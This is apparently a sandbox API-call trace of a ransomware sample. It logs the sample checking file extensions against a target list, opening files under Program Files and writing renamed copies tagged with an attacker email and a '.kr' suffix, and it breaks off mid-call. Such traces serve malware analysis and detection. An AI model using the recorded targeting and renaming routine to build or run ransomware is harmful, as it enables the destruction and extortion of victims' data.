[0176.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString=".bz2") returned 4 [0176.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString=".7z") returned 3 [0176.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.088] lstrlenW (lpString=".dbf") returned 4 [0176.088] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.088] lstrlenW (lpString=".1cd") returned 4 [0176.088] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.088] lstrlenW (lpString=".jpg") returned 4 [0176.088] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.088] lstrlenW (lpString=".doc") returned 4 [0176.088] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString=".docx") returned 5 [0176.088] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0176.088] lstrlenW (lpString=".pdf") returned 4 [0176.088] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString=".xls") returned 4 [0176.088] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString=".xlsx") returned 5 [0176.088] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0176.088] lstrlenW (lpString=".ppt") returned 4 [0176.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.088] lstrlenW (lpString=".zip") returned 4 [0176.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.088] lstrlenW (lpString=".rar") returned 4 [0176.089] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.089] lstrlenW (lpString=".bz2") returned 4 [0176.089] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.089] lstrlenW (lpString=".7z") returned 3 [0176.089] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.089] lstrlenW (lpString=".dbf") returned 4 [0176.089] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.089] lstrlenW (lpString=".1cd") returned 4 [0176.089] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0176.089] lstrlenW (lpString=".jpg") returned 4 [0176.089] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.089] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.089] lstrlenW (lpString="insert.xml") returned 10 [0176.089] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.090] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=215) returned 1 [0176.090] CloseHandle (hObject=0x390) returned 1 [0176.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0176.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.091] lstrlenW (lpString=".doc") returned 4 [0176.091] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString=".docx") returned 5 [0176.091] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0176.091] lstrlenW (lpString=".pdf") returned 4 [0176.091] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString=".xls") returned 4 [0176.091] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString=".xlsx") returned 5 [0176.091] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0176.091] lstrlenW (lpString=".ppt") returned 4 [0176.091] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.091] lstrlenW (lpString=".zip") returned 4 [0176.091] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.091] lstrlenW (lpString=".rar") returned 4 [0176.091] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString=".bz2") returned 4 [0176.091] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString=".7z") returned 3 [0176.091] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.091] lstrlenW (lpString=".dbf") returned 4 [0176.091] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.091] lstrlenW (lpString=".1cd") returned 4 [0176.091] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.091] lstrlenW (lpString=".jpg") returned 4 [0176.091] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.092] lstrlenW (lpString=".doc") returned 4 [0176.092] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString=".docx") returned 5 [0176.092] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0176.092] lstrlenW (lpString=".pdf") returned 4 [0176.092] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString=".xls") returned 4 [0176.092] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString=".xlsx") returned 5 [0176.092] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0176.092] lstrlenW (lpString=".ppt") returned 4 [0176.092] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.092] lstrlenW (lpString=".zip") returned 4 [0176.092] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.092] lstrlenW (lpString=".rar") returned 4 [0176.092] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString=".bz2") returned 4 [0176.092] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString=".7z") returned 3 [0176.092] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.092] lstrlenW (lpString=".dbf") returned 4 [0176.092] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.092] lstrlenW (lpString=".1cd") returned 4 [0176.092] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0176.092] lstrlenW (lpString=".jpg") returned 4 [0176.092] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.093] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.093] lstrlenW (lpString="ea.xml") returned 6 [0176.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.101] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=384) returned 1 [0176.101] CloseHandle (hObject=0x390) returned 1 [0176.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0176.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.102] lstrlenW (lpString=".doc") returned 4 [0176.102] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.102] lstrlenW (lpString=".docx") returned 5 [0176.102] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0176.102] lstrlenW (lpString=".pdf") returned 4 [0176.102] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.102] lstrlenW (lpString=".xls") returned 4 [0176.102] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.102] lstrlenW (lpString=".xlsx") returned 5 [0176.102] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0176.102] lstrlenW (lpString=".ppt") returned 4 [0176.102] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.102] lstrlenW (lpString=".zip") returned 4 [0176.102] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.102] lstrlenW (lpString=".rar") returned 4 [0176.102] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.102] lstrlenW (lpString=".bz2") returned 4 [0176.102] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.102] lstrlenW (lpString=".7z") returned 3 [0176.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.103] lstrlenW (lpString=".dbf") returned 4 [0176.103] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.103] lstrlenW (lpString=".1cd") returned 4 [0176.103] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.103] lstrlenW (lpString=".jpg") returned 4 [0176.103] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.103] lstrlenW (lpString=".doc") returned 4 [0176.103] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString=".docx") returned 5 [0176.103] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0176.103] lstrlenW (lpString=".pdf") returned 4 [0176.103] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString=".xls") returned 4 [0176.103] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString=".xlsx") returned 5 [0176.103] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0176.103] lstrlenW (lpString=".ppt") returned 4 [0176.103] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.103] lstrlenW (lpString=".zip") returned 4 [0176.103] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.103] lstrlenW (lpString=".rar") returned 4 [0176.103] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString=".bz2") returned 4 [0176.103] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.103] lstrlenW (lpString=".7z") returned 3 [0176.103] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.104] lstrlenW (lpString=".dbf") returned 4 [0176.104] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.104] lstrlenW (lpString=".1cd") returned 4 [0176.104] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0176.104] lstrlenW (lpString=".jpg") returned 4 [0176.104] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.104] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.104] lstrlenW (lpString="keypadbase.xml") returned 14 [0176.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.104] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=903) returned 1 [0176.104] CloseHandle (hObject=0x390) returned 1 [0176.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0176.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.105] lstrlenW (lpString=".doc") returned 4 [0176.105] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString=".docx") returned 5 [0176.105] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0176.105] lstrlenW (lpString=".pdf") returned 4 [0176.105] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString=".xls") returned 4 [0176.105] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString=".xlsx") returned 5 [0176.105] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0176.105] lstrlenW (lpString=".ppt") returned 4 [0176.105] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.105] lstrlenW (lpString=".zip") returned 4 [0176.105] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.105] lstrlenW (lpString=".rar") returned 4 [0176.105] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString=".bz2") returned 4 [0176.105] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString=".7z") returned 3 [0176.105] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.105] lstrlenW (lpString=".dbf") returned 4 [0176.105] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.105] lstrlenW (lpString=".1cd") returned 4 [0176.105] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.105] lstrlenW (lpString=".jpg") returned 4 [0176.106] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.106] lstrlenW (lpString=".doc") returned 4 [0176.106] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString=".docx") returned 5 [0176.106] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0176.106] lstrlenW (lpString=".pdf") returned 4 [0176.106] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString=".xls") returned 4 [0176.106] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString=".xlsx") returned 5 [0176.106] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0176.106] lstrlenW (lpString=".ppt") returned 4 [0176.106] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.106] lstrlenW (lpString=".zip") returned 4 [0176.106] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.106] lstrlenW (lpString=".rar") returned 4 [0176.106] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString=".bz2") returned 4 [0176.106] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString=".7z") returned 3 [0176.106] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.106] lstrlenW (lpString=".dbf") returned 4 [0176.106] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.106] lstrlenW (lpString=".1cd") returned 4 [0176.106] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0176.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0176.107] lstrlenW (lpString=".jpg") returned 4 [0176.107] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0176.107] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.107] lstrlenW (lpString="kor-kor.xml") returned 11 [0176.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.107] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=392) returned 1 [0176.107] CloseHandle (hObject=0x390) returned 1 [0176.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0176.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0176.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0176.108] lstrlenW (lpString=".doc") returned 4 [0176.108] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0176.108] lstrlenW (lpString=".docx") returned 5 [0176.108] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0176.108] lstrlenW (lpString=".pdf") returned 4 [0176.108] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0176.108] lstrlenW (lpString=".xls") returned 4 [0176.108] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0176.108] lstrlenW (lpString=".xlsx") returned 5 [0176.108] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0176.108] lstrlenW (lpString=".ppt") returned 4 [0176.108] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0176.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0176.108] lstrlenW (lpString=".zip") returned 4 [0176.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0176.108] lstrlenW (lpString=".rar") returned 4 [0176.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0176.108] lstrlenW (lpString=".bz2") returned 4 [0176.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0176.108] lstrlenW (lpString=".7z") returned 3 [0176.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0176.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0177.860] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=17236) returned 1 [0177.860] CloseHandle (hObject=0x408) returned 1 [0177.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0177.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0177.861] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.861] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0177.861] GetLastError () returned 0x0 [0177.861] ReadFile (in: 